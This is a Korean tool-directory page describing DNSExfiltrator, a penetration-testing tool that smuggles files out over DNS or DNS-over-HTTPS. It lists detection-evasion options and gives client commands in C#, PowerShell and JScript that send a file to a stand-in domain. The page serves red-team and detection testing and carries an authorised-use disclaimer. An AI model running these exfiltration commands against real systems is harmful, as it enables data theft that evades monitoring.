Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/arno0x/dnsexfiltrator
Data ExfiltrationPenetration TestingRed TeamingDNS Analysis
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

DNS 요청 은닉 채널을 통한 데이터 유출

저장소 보기
8841908년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DNSExfiltrator

저자: Arno0x0x - @Arno0x0x

DNSExfiltrator는 DNS 요청 은닉 채널을 통해 파일을 전송(탈취)할 수 있도록 합니다. 기본적으로 데이터 유출 테스트 도구로, 은닉 채널을 통해 데이터를 유출할 수 있습니다.

DNSExfiltrator는 두 가지 측면이 있습니다:

  1. 서버 측은 단일 파이썬 스크립트(dnsexfiltrator.py)로 구성되며, 사용자 정의 DNS 서버 역할을 하여 파일을 수신합니다.
  2. 클라이언트 측(피해자 측)은 세 가지 형태로 제공됩니다:
  • dnsExfiltrator.cs: C# 스크립트로, csc.exe로 컴파일하여 Windows 관리 실행 파일로 사용할 수 있습니다.
  • Invoke-DNSExfiltrator.ps1: PowerShell 스크립트로, dnsExfiltrator 어셈블리를 래핑하여 동일한 기능을 제공합니다.
  • dnsExfiltrator.js: JScript 스크립트로, DotNetToJScript를 사용하여 dnsExiltrator DLL 어셈블리를 변환한 것으로, 동일한 기능을 제공합니다.

전체가 작동하려면 도메인 이름을 소유하고 해당 도메인의 DNS 레코드(NS)가 dnsexfiltrator.py 서버 측을 실행할 서버를 가리키도록 설정해야 합니다.

기능

기본적으로 DNSExfiltrator는 시스템에 정의된 DNS 서버를 사용하지만, 특정 DNS 서버를 설정할 수도 있습니다(예: 디버깅 목적 또는 서버 측을 로컬에서 실행하는 경우).

또한 h 매개변수를 사용하면 DNSExfiltrator가 Google 또는 CloudFlare DoH 서버를 사용하여 DoH(DNS over HTTP)를 수행할 수 있습니다.

기본적으로 유출할 데이터는 DNS 요청에 맞게 base64URL로 인코딩됩니다. 그러나 일부 DNS 리졸버는 대소문자 구분에 영향을 주어 이 인코딩을 손상시킬 수 있습니다(FQDN은 대소문자를 구분하지 않아도 되므로 당연합니다). 이 문제를 해결하기 위해 -b32 플래그를 사용하여 데이터를 Base32로 강제 인코딩할 수 있습니다. 단, 약간의 크기 오버헤드가 발생합니다. CloudFlare DoH를 사용하는 경우 base32 인코딩이 자동으로 적용됩니다.

DNSExfiltrator는 유출된 데이터에 대해 기본 RC4 암호화를 지원하며, 제공된 비밀번호로 데이터를 암호화/복호화합니다.

DNSExfiltrator는 탐지를 피하기 위한 몇 가지 선택적 기능도 제공합니다:

  • 탐지 회피를 위해 요청 간 간격 조절 (throttling)
  • DNS 요청 크기 감소 (기본적으로 각 DNS 요청에서 사용 가능한 최대 바이트를 사용하여 효율성을 높입니다)
  • DNS 레이블 크기 감소 (기본적으로 지원되는 최대 레이블 크기인 63자를 사용합니다)

의존성

유일한 의존성은 서버 측에 있으며, dnsexfiltrator.py 스크립트는 외부 dnslib 라이브러리에 의존합니다. pip를 사용하여 설치할 수 있습니다:

root@kitploit:~
pip install -r requirements.txt

사용법

서버 측

dnsexfiltrator.py 스크립트를 도메인 이름과 복호화 비밀번호와 함께 실행합니다:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

클라이언트 측

컴파일된 버전을 사용하거나, PowerShell 래퍼(기본적으로 동일) 또는 JScript 래퍼를 사용할 수 있습니다. 어떤 경우든 매개변수는 동일하며, PowerShell에서 전달하는 방식만 약간 다릅니다.

1/ C#으로 컴파일된 Windows 실행 파일(release 디렉토리에서 찾을 수 있음) 사용:

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [필수] 유출할 파일의 파일 이름.
      domainName:     [필수] DNS 요청에 사용할 도메인 이름.
      password:       [필수] 유출할 데이터를 암호화하는 데 사용되는 비밀번호.
      -b32:           [선택] 데이터의 base32 인코딩 사용. 일부 DNS 리졸버가 대소문자를 구분하지 못할 경우 필요할 수 있음.
      h:              [선택] Google 또는 CloudFlare DoH(DNS over HTTP) 서버 사용.
      DNS_Server:     [선택] DNS 요청에 사용할 DNS 서버 이름 또는 IP. 기본값은 시스템 DNS 서버.
      throttleTime:   [선택] 각 DNS 요청 사이의 대기 시간(밀리초).
      requestMaxSize: [선택] 각 DNS 요청의 최대 크기(바이트). 기본값은 255바이트.
      labelMaxSize:   [선택] 각 DNS 요청 레이블(서브도메인)의 최대 크기(문자). 기본값은 63자.

2/ PowerShell 스크립트 사용: 원하는 방식으로 호출하세요(PowerShell 스크립트를 호출하는 수많은 방법을 알고 계실 것입니다). 스크립트 매개변수와 함께 사용합니다. 가장 기본적인 예:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

스크립트 파일의 EXAMPLES 섹션에서 추가 사용 예를 확인하세요.

3/ JScript 스크립트 사용: 독립 실행형 Windows 실행 파일과 동일한 인수를 전달합니다:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

또는 일부 옵션과 함께:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

TODO

  • 일부 사람들은 RC4 대신 AES 암호화를 요구할 것입니다. 알고 있습니다... 나중에 추가할 수도 있습니다.
  • 예상 전송 시간 표시
  • 더 나은 인수 파싱(C# 인수 파싱 라이브러리 배우기가 귀찮습니다. Python처럼 간단하면 좋겠습니다.)

면책 조항

이 도구는 합법적이고 정당한 방식으로만 사용하도록 의도되었습니다:

  • 자신의 시스템에서 학습, 시연, 방어 및 탐지 메커니즘 테스트를 목적으로 사용
  • 공식적이고 합법적으로 보안 평가(침투 테스트, 보안 감사)를 수행할 권한이 부여된 시스템에서 사용

Empire 제작자의 말을 인용하자면: 합법적인 정보 보안 업계에 유용한 공격 도구를 만들면서 동시에 악의적인 행위자가 이를 남용하는 것을 막을 방법은 없습니다.

도구 다운로드